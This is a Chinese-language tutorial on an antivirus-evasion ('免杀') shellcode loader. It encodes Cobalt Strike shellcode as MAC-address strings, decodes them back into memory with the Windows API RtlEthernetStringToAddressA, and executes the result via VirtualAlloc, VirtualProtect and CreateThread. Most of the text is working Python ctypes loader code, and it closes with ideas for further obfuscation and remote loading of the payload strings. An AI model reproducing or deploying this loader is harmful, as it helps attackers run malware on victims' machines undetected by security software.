CS免杀-MAC加载器
字数 1509 2025-08-09 18:43:59
MAC地址加载器免杀技术详解
前言
本文介绍一种基于Windows API函数RtlEthernetStringToAddressA和RtlEthernetAddressToStringA的shellcode加载技术,通过MAC地址格式转换实现免杀效果。这种技术与UUID加载器类似,都是利用系统API将特定格式的字符串转换为二进制数据写入内存执行。
MAC地址基础知识
MAC地址(Media Access Control Address)也称为物理地址或硬件地址,是网络设备的唯一标识符:
- 由网络设备制造商生产时烧录在网卡的EPROM(一种可擦写闪存芯片)
- 在计算机中以二进制形式表示
- 长度为48位(6个字节)
- 通常表示为6组两位十六进制数,用连字符或冒号分隔(如:FC-48-83-E4-F0-E8)
核心API函数
RtlEthernetAddressToStringA
功能:将二进制格式的MAC地址转换为字符串表示
函数原型:
NTSYSAPI PSTR RtlEthernetAddressToStringA(
const DL_EUI48 *Addr,
PSTR S
);
参数:
Addr:指向6字节二进制MAC地址的指针S:指向接收MAC字符串的缓冲区指针
转换示例:
\xFC\x48\x83\xE4\xF0\xE8 ====> FC-48-83-E4-F0-E8
RtlEthernetStringToAddressA
功能:将字符串格式的MAC地址转换为二进制格式
函数原型:
NTSYSAPI NTSTATUS RtlEthernetStringToAddressA(
PCSTR S,
PCSTR *Terminator,
DL_EUI48 *Addr
);
参数:
S:指向MAC地址字符串的指针Terminator:指向字符串终止符的指针Addr:指向接收二进制MAC地址的缓冲区指针
转换示例:
FC-48-83-E4-F0-E8 ====> \xFC\x48\x83\xE4\xF0\xE8
实现步骤详解
第一步:将Shellcode转换为MAC格式
- 申请内存:
- 计算所需内存大小:原始shellcode长度/6*17(每6字节转换为17字节的MAC字符串)
- 使用
VirtualAlloc申请可读写执行的内存
import ctypes
shellcode = b'\xfc\x48\x83\xe4...' # 原始shellcode
macmem = ctypes.windll.kernel32.VirtualAlloc(
0,
len(shellcode) // 6 * 17,
0x3000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)
- 分段转换:
- 将shellcode每6字节一组转换为MAC字符串
- 不足6字节的用
\x00填充
for i in range(len(shellcode) // 6):
bytes_a = shellcode[i*6 : 6+i*6]
ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
- 验证转换结果:
a = ctypes.string_at(macmem, len(shellcode)*3 - 1)
print(a)
- 生成MAC列表(可选):
mac_list = []
for i in range(len(shellcode) // 6):
d = ctypes.string_at(macmem+i*17, 17)
mac_list.append(d)
print(mac_list)
第二步:将MAC格式字符串转换回二进制并执行
- 准备MAC列表:
mac_list = [
'FC-48-83-E4-F0-E8',
'C8-00-00-00-41-51',
'41-50-52-51-56-48',
'31-D2-65-48-8B-52',
# ... 更多MAC字符串
]
- 申请内存:
- 计算所需内存大小:MAC字符串数量*6字节
- 使用
VirtualAlloc申请可读写执行的内存
ptr = ctypes.windll.kernel32.VirtualAlloc(
0,
len(mac_list)*6,
0x3000, # MEM_COMMIT | MEM_RESERVE
0x04 # PAGE_READWRITE
)
- 转换并写入内存:
- 使用
RtlEthernetStringToAddressA将每个MAC字符串转换回二进制 - 移动指针位置,依次写入内存
- 使用
rwxpage = ptr
for i in range(len(mac_list)):
ctypes.windll.Ntdll.RtlEthernetStringToAddressA(mac_list[i], mac_list[i], rwxpage)
rwxpage += 6
- 设置内存保护并执行:
# 修改内存保护为可执行
ctypes.windll.kernel32.VirtualProtect(ptr, len(mac_list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
# 创建线程执行shellcode
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
技术要点总结
-
转换比例:
- 6字节shellcode → 17字节MAC字符串(如:FC-48-83-E4-F0-E8)
- 转换后数据量增大,需注意内存分配大小
-
内存管理:
- 使用
VirtualAlloc申请内存 - 注意内存保护标志的设置(PAGE_EXECUTE_READWRITE)
- 使用
-
API调用:
- 两个关键API均位于ntdll.dll中
- 需要精确控制指针移动和内存写入位置
-
免杀优势:
- 避免了直接写入可识别的shellcode特征
- 使用合法的系统API进行数据转换
- MAC字符串形式更不易被检测为恶意代码
测试环境
- 开发环境:Python 2.7
- 测试payload:Cobalt Strike生成的64位shellcode
- 测试结果:成功上线
- 免杀效果:未进行全面测试,主要验证技术可行性
扩展思考
- 可以结合其他编码方式(如Base64)进一步混淆MAC字符串
- 考虑从远程服务器动态加载MAC字符串列表
- 实现分段加载执行,降低内存占用和检测风险
- 探索其他类似的系统API转换技术(如IP地址转换API)
这种MAC地址加载器技术为红队操作提供了一种新的免杀思路,通过合法系统API实现shellcode的隐蔽加载,有效规避传统杀毒软件的特征检测。